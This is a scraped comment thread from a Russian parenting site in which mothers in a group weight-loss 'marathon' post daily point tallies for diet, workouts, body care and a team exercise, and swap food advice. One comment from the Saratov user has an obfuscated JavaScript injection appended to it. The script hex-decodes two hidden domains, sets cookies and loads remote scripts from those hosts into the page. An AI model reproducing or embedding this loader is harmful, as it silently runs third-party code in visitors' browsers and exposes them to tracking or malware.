Краснодар
Ты же вроде страдала, что они у тебя перекаченные? Вот не угодишь этим Бегемотам)))
0
18.08.2015
Ответить
Мама троих (12 лет, 9 лет, 6 лет)
Минск
Племя огня №11
ПП -12, тренировка с Шоном Т25 -5 , джокер -4, уход-1. Итого 22 балла. Ноги болят и трясутся (чертовы приседания и выпады в джокере, вы нашли мое слабое место)), но чувство удовлетворенности огромное (((=
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
)))) видать да... нашли)))
ух и жирнючая у тебя свинина.но т.к. за день по жирам без неё был бы недобор фильтр рушить не будем)
0
18.08.2015
Ответить
Мама троих (12 лет, 9 лет, 6 лет)
Минск
да, без нее было бы туго с жирами ((= сегодня заранее на завтра составлю план питания (= кстати, чем жиры можно компенсировать? полезным чем-нибудь
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
лучше растительными... орешки - и ккал вагон и жиров...
0
18.08.2015
Ответить
Мама двоих (17 лет, 15 лет)
Нефтеюганск
№25, племя Света
Ура, я вчера все сделала! С тренировки поздно пришла, потом уход - поэтому только сегодня отчитываюсь.
ПП - 12Спорт - 5 (динамик-стретчинг)Джокер - 4 (дошла сама:)Уход - 1 (кофейный скраб, лосьон)ИТОГО: 22 балл
0
19.08.2015
Ответить
Мама двоих (17 лет, 15 лет)
Нефтеюганск
Ага, не смотря на то что джокер делала до обеда, а на тренировку ходила вечером, и вечером в горячей ванне лежала минут 40 - сегодня все болит с непривычки. Хорошо, что сегодня неспортивный день:) Пошла завтрак "островитянский" высталвлять...
0
19.08.2015
Ответить
Мама мальчика (13 лет)
Москва
#81 племя огня
Нет сладкому-5
5/6 приемов пищи-1
Бжу-2(если верно)
Вода-1
Приготовление-1
Фильтр-2
Спорт-5 ( Шон Ти Макс 30)
Джокер-4
Уход-1(скраб,крем антиц)
22балла
И меню мое сегодня
Надеюсь все верно посчитала в баллах
Надеюсь все верно посчитала в баллах
0
18.08.2015
Ответить
Мама двоих (18 лет, 11 лет)
Нижний Новгород
Племя ветра 40
Пп 12
Спорт 5 т25 (жду среду, говорят будет весело)
Джокер 4
Уход АЦ 1
Итого 22
Вот хочу сказать всем: марафон рулит! Проснулась сегодня зарвалюхой с соплями и температурой. В переди куча дел, которые на другой день не перенесешь. Без марафона провалялась бы до обеда и с жалостью к себе помчалась бы работать.
Но так как сегодня командный джокер, и подводить команду никак нельзя решила отпрыгать т25 и сделать джокер прям с утра, а потом могу лечь и умереть со спокойной совестью.
И о чудо! Я прекрасно все пропрыгала (правда с Таней и отжималась в 3 подхода). Так потом успела приготовить еду в дорогу, выпить 7 стаканов воды за 3 часа (температура в помощь) и довольная собой с детьми и соплями поехала куда надо.
Так что если болеете и в сознании, можно спорт не отменять. Ну если немного облегчить только. И будут вам силы!!!!
Ура, ура! Я впервые так бодро болею)))) 
0
18.08.2015
Ответить
Мама троих (24 года, 24 года, 13 лет)
Урай
Привет) номер 70, Ветер.
Пп - 12 б., спорт - 0 б., джокер - 4 б., уход - 1 б. ( контр. душ, крем) - 1 б.
Итого: 17 б.
0
18.08.2015
Ответить
Мама троих (16 лет, 11 лет, 11 лет)
Анбэцу
Привет!
Племя Металла
№ 26ПП - 12 балловСпорт - 5 баллов (Шон НН - 50 мин)Джокер - 4 балла (я сегодня с банного крыльца спускалась два раза отдыхала - там три ступеньки, хожу как кавалерист) 
)Уход - 1 балл (ац. крем, баня, скраб)Итого - 22 балла
)Уход - 1 балл (ац. крем, баня, скраб)Итого - 22 балла
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
И даже пришедшие прям в процессе треньки КД не сбили меня с пути)))
№24 Воздух
ПП - 12 ща 5-й раз пожую и готово)
Спорт - 5 Шоник инсанити макс 30 табата - такая клевая тренька, жаль пришлось остановить на 18-й минуте ибо кд а там пресс пошел .. ну ниего .. добила таблицами и бегом
Джокер - 4
Уход - 1 молочко
Итого 22
0
18.08.2015
Ответить
Мама двоих (12 лет, 9 лет)
Умница! А я с ужасом жду кд и боюсь пролежать первые два дня(((
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
для таких случаев есть форсмажорная пауза...
главное соблюсти пп..
0
18.08.2015
Ответить
Мама двоих (12 лет, 9 лет)
Девочки, вопрос по ПП: свеклу на ужин можно?
0
18.08.2015
Ответить
Мама двоих (25 лет, 14 лет)
Прага
На сколько я поняла в ней много сахара, можно в первой половине дня.
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Ескисехир
Do obeda vkluchitelno t.k mnogo yglevodov.
0
18.08.2015
Ответить
Мама двоих (14 лет, 7 лет)
Кардифф
№61, племя Огня. Меню тут http://www.babyblog.ru/user/tsshhh/3111979
ПП - 12
Спорт - 4 (тренировка с Джанет Дженкинс)
Джокер - 4
Уход - 1 (контрастный душ)
Итого: 21
0
18.08.2015
Ответить
Мама двоих (11 лет, 8 лет)
Тольятти
ПП - 12 Спорт - 5 (30минутка для бегинеров с Джил) Джокер - 4 (+помощь Ирине ну она сама распишет) Уход - 1 (щёткой терла проблемные места в душе) ИТОГО: 22 балла, урааа!))) Пс: если в пп не пропустила чего, фото ниже
0
18.08.2015
Ответить
Мама двоих (15 лет, 9 лет)
Кладно
если лапша была из твердой а фрукты утром то вроде все норм...
0
18.08.2015
Ответить
Мама двоих (14 лет, 12 лет)
Кемерово
ветер 50
ПП 12
з-каша овсяная с бананом
перекус -арбуз
обед- тушеная курица с капустой и болгарским перцем
перекус-огурец, болгарский перец, творог, йогурт белый
ужин - тоже что и на обед
вечером стакан кефира
спорт 5 (ДМ Боди революшен)
джокер 4 (почти сразу после завтрака)
уход 1 (контрастный душ и крем)
итог 22
орешки можно днем?
0
18.08.2015
Ответить
Мама троих (25 лет, 17 лет, 12 лет)
Саратов
Девочки из Флоры, добавляйтесь ко мне в друзья, заходите в нашу Гостевую , и не забывайте подписываться на нее!!!![removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19138",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
0
18.08.2015
Ответить
Мама пятерых (от 8 лет до 22 года)
Москва
Всем хорошего вечера!
Номер 37, Племя Фауны.
22 балла.
Спорт - БодиРеволюшн, тренировка 2 - она поактивней, чем первая, надо признать =)
Уход - АЦ гель и контрастный душ. Питание 12. Джокер - 4.
Вопрос,:"мертвые души" вытаскивать надо?
0
18.08.2015
Ответить
Мама двоих (23 года, 15 лет)
Москва
Добрый вечер! Отчет # 82 (племя Воды):
нет МиС +5, 5/6 приёмов +1, БЖУ +2, фильтр +2, вода +1
спорт +4 (Бодитоник), джокер +4, уход +1 (а/ц крем на ночь)
Итого 20 баллов
Дневник питания:
(1) каша геркулесовая на молоке 170 г + ряженка 3,2% 200 мл
(2) чай чёрный, шоколад 3 г, малина 100 г
(3) морковь тёртая 100 г, капуста тушёная - 150 г, мясное суфле - 120 г
(4) чай зелёный, 2 яичных белка
(5) филе грудки куриное отварное 150 г, помидор большой
0
18.08.2015
Ответить
Мама девочки (13 лет)
Ростов-на-Дону
Привет
№ 9 Льдинка.
ПП 12 (двойная тарелка каши с утра помогает не думать о сладком)
Спорт 5 (делала свою любимую Джилл, но с передышками, между силовыми и кардио, три-четыре передышки по 30 секунд, но джокер почему то пошел нормально сразу после трени) а вообще сейчас хожу как раненная лань, зато просыпается интерес к жизни, а то такая хандра была, видимо спорт мне жизненно необходим)))
джокер 4 ( и все льдинки тоже ))))
Уход 1 (массажером по проблемным зонам сразу после спорта)
итого 22
0
18.08.2015
Ответить
Мама двоих (21 год, 12 лет)
Ганновер
Доброй ночи всем участникам! Вот я сегодня свою тушку погоняла, сначала отработала 10 часов, а потом еще на фитнесс рванула и приперлась домой только недавно в 23.30. Надеюсь мой жир напугается такого режима и быстро начнет меня покидать.
Номер 43, племя Флоры
ПП 12
Спорт 5 Кардио
Джокер 4
Уход 1 Крем для тела
Итого 22 балла
0
18.08.2015
Ответить